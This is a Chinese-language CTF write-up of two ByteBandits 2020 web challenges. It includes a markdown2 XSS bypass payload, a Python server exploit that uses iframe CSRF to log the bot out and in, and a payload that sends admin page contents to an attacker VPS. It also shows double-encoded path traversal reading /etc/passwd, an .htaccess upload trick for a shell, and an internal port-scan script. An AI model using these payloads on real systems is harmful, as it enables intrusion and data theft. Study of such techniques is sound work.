这周末又当了波国际赛划水懒狗。看了几个比赛难度参差不齐。只有bytebandits的难度确实顶。当时看了下NotesApp没做出来就划水去了。所幸官方很贴心的给了docker的环境。现在把两道WEB复现下,都是很有价值的题目。
NotesAPP
这题复现的话有一个问题,就是要改下源码。一个是改bot的访问地址。再一个就是因为里面用了Googlecaptchakey,所以得换。但是我给自己的vps申请的key换了后还是不顶用。索性把相关的html跟python代码删掉了,姑且是能做了hhh.
首先题目给了源码。现在可以到官方github上看https://github.com/ByteBandits/bbctf-2020/tree/master/web/notes
简单审计后首先注意到一个markdown xss
@app.route("/profile")
@login_required
def profile():
return render_template("profile.html", current_user = current_user)
@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
if current_user.id == 'admin':
return "Nope."
# markdown support!!
current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
db.session.commit()
return redirect("/profile")
登录进去后在/profile路由即可updatemarkdown内容。这里自然想到markdownxss。不过当时尝试了下并没有打出来。
因为这里用到的是markdown2这个库的safe_mode。html标签都会直接转义。
后来发现用到的是github上的一个issue.
https://github.com/trentm/python-markdown2/issues/341
safe_mode或者escape都有对应的xsspayload
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
得到一个self-xss.
得到self-xss的第一步就是应该考虑如何提升xss的危害性。因为我们的题目还有一处/send_link
路由明显是提交url后让bot进行访问。那么这里可能需要考虑csrf。
因为只有admin登录访问profile会得到flag。我们访问自己的profile只能得到自己的内容。
传统的CSRF一定是遵循以下原则的:
1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。
那么基于此题bot的存在,我们大概的流程是:
1.让bot访问profile,此时存在flag
2.logout
3.登录构造好payload的用户,并加载payload.得到admin的信息
但是存在几个细节:
如何控制bot登出并登录?
如何让我们的payload能够得到admin页面的信息?
仔细观察发现一个细节。当我们注册时,用户名与密码通过post方式请求。但是当我们登出再登录时,却是通过get请求进行登录。
因此先登出再登录的细节就解决了。
至于加载admin的信息,使用到的自然是经典的iframe xss 。原来总结CSP时用过。经典的利用就是:
一个同源页面,一个是CSP保护的flag页面A,一个是存在xss的页面B。只需要一个iframe就能窃取到flag.
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
此题并没有对iframe的限制。自然是可行的
所以构思后我们的payload应该是
1.提交url,让bot访问我们vps上的内容
2.先加载一个iframe去访问profile并登出
3.再加载一个iframe,通过url直接登录我们自建账号。触发payload
然而这题有个坑 注意到visit_link.py中
import asyncio
from pyppeteer import launch
from redis import Redis
from rq import Queue
import os
import psutil, signal
async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
try:
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
])
newPage = await browser.newPage()
await newPage.goto(url)
except Exception as e:
raise e
finally:
await browser.close()
def visit_url(url):
asyncio.get_event_loop().run_until_complete(main(url))
q = Queue(connection=Redis(host='redis'))
这串异步代码让admin只要访问了后立即退出。也就是说我们的payload并不会有时间触发。
因此需要额外设计,比如起一个flask控制bot访问时进行停顿,这样就有时间触发payload了。
下面是dalao的脚本
#!/usr/bin/env python3
import time
from http.server import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 8877
SERVER = "https://notes.web.byteband.it"
USERNAME = "abc"
PASSWORD = "123"
EXPLOIT = """
<html>
<body>
<script type='text/javascript'>
function loginUser() {{
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "{server}/login?username={username}&password={password}";
iframe.sandbox = "allow-same-origin allow-scripts";
document.body.appendChild(iframe);
}};
function logoutUser() {{
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.onload = loginUser;
iframe.src = "{server}/logout";
iframe.sandbox = "allow-same-origin allow-scripts";
document.body.appendChild(iframe);
}};
</script>
<iframe id="iframe01" name="iframe01" src="{server}/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe>
</body>
</html>
""".format(server=SERVER, username=USERNAME, password=PASSWORD)
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(EXPLOIT.encode('utf-8'))
time.sleep(10) # keep open for some time for exploit to finish
myServer = HTTPServer(("0.0.0.0", PORT_NUMBER), MyServer)
print(time.asctime(), "Server Starts - %s:%s" % ("0.0.0.0", PORT_NUMBER))
try:
myServer.serve_forever()
except KeyboardInterrupt:
pass
myServer.server_close()
print(time.asctime(), "Server Stops - %s:%s" % ("0.0.0.0", PORT_NUMBER))
从这行代码就能看出主要流程跟之前构思的思路是一致的。<iframe id="iframe01" name="iframe01" src="{server}/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe>
主要就是要sleep10s.
在vps上运行。然后我们用自己的abc用户updatepayload
<http://g<!s://q?<!-<[<script>(new Image).src = 'http://vpsip:port/?data=' + escape(parent.frames['iframe01'].document.body.getElementsByClassName("hero-body")[0].innerText);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
起到窃取iframe内容的作用,获取的内容源自hero-body这个class的内容。
最后url提交vpsip:port
即可
解码即可发现flag
Howdy admin!
flag{ch41n_tHy_3Xploits_t0_w1n}
ImgAccess2
这题很有营养。首先上来一个文件上传。根据题意只能是图片,同时上传后进入到upload路由,并能通过/view/md5.../filename
访问到自己的图片
那么当然要考虑文件上传getshell了。但是首先注意到,从题目的路由与cookie明显提醒我们这是python起的web服务。但是同时访问404时出现的是类似apache的404页面
并且路径上出现的是/view/xxxx而不是upload/xxxxx,也就意味着,我们需要找出真正的上传路径
尝试upload/xxx/1.jpg发现返回404
但是将upload改为uploads时发现可以访问到我们的上传图片了。
因此确定,真实的上传路径是uploads且可以访问到。
此时考虑是否能利用这个路径做些文章
相对容易想到的应该是路径穿越了,但尝试构造普通路径穿越失败。
不过路径穿越还有一种相对比较熟悉的绕过姿势。比如urlencode两次的路径穿越,(phpmyadmin4.8.1就曾出现过)
那么此处尝试对路径穿越进行二次url编码../../../../../etc/passwd
import requests
from urllib.parse import quote_plus as urlencode
url='http://xxxxxxx:7003/uploads/'
filepath='../../../../../../etc/passwd'
filepath=urlencode(filepath)
filepath=urlencode(filepath)
r=requests.get(url+filepath)
print(r.text)
发现成功读取了/etc/passwd
接下来肯定是想要得到其他有用信息了,比如app.py的源码
想先读/proc/self/environ
,发现没内容。但是不要紧,此时必然可行的方法是利用/proc/self/cwd
指向当前工作目录的特性,直接读取app.py/proc/self/cwd/app.py
from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.mkdir(app.config['UPLOAD_FOLDER'])
def secure_filename(filename):
return re.sub(r"(\.\.|/)", "", filename)
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/")
def index():
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
caption = request.form["caption"]
file = request.files["image"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not allowed_file(file.filename):
flash('Please upload images only.')
return redirect("/")
else:
if not request.headers.get("X-Real-IP"):
ip = request.remote_addr
else:
ip = request.headers.get("X-Real-IP")
dirname = md5(ip.encode()).hexdigest()
filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html", path = os.path.join(dirname, filename))
@app.route("/view/<path:path>")
def view(path):
return render_template("view.html", path = path)
@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
if __name__ == "__main__":
app.run(port=5000)
发现几个信息。首先是uploads路由里存在明显的提示。暗示我们/uploads_apache/路径
然后是文件名的检查。很奇怪的是文件名的白名单里有个s.之后先调用allowed_file()
进行文件后缀检查,然后调用secure_filename()
进行文件名检查
第一个函数只检查最后一个.
后的后缀。而第二个函数将..
替换为空
那么这必然存在绕过.联系到这是一个apache服务器,且只允许图片上传。考虑上传.htaccess
进行getshell
同时为了绕过文件名,使用.htacces..s
第一个函数检查时判定后缀为s,在白名单内。
第二个函数将..替换为空,成功达到上传.htaccess
的效果
内容addtype application/x-httpd-php .jpg
成功上传,直接上传图片马getshell。
getshell后发现没有flag.比赛时题目有提示flag在secretserver:1337。所以方便直接下手。靶机没有curl,那就直接wget即可。
不过就算不知道提示也可以做,容器里有python3,那就肯定可以探测端口
从/etc/hosts得知ip为192.168.128.2.那就顺着探吧。
用上忘记从哪位大佬那嫖来的脚本,做buu时用过。
import socket
def foo():
with open('active_port.txt','at') as f:
for i in range(65535+1):
ip = '192.168.128.3'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,i))
s.close()
f.writelines(str(i)+'\n')
except socket.error:
pass
f.close()
pass
if __name__ == '__main__':
foo()
print('ok')
也可以发现1337端口开放。
先wget 192.168.128.3:1337
得到index.html
其中内容提示了./flag.txt
直接wget 192.168.128.3:1337/flag.txt
即可
References
https://www.sigflag.at/blog/2020/writeup-bytebandits2020-notes-app/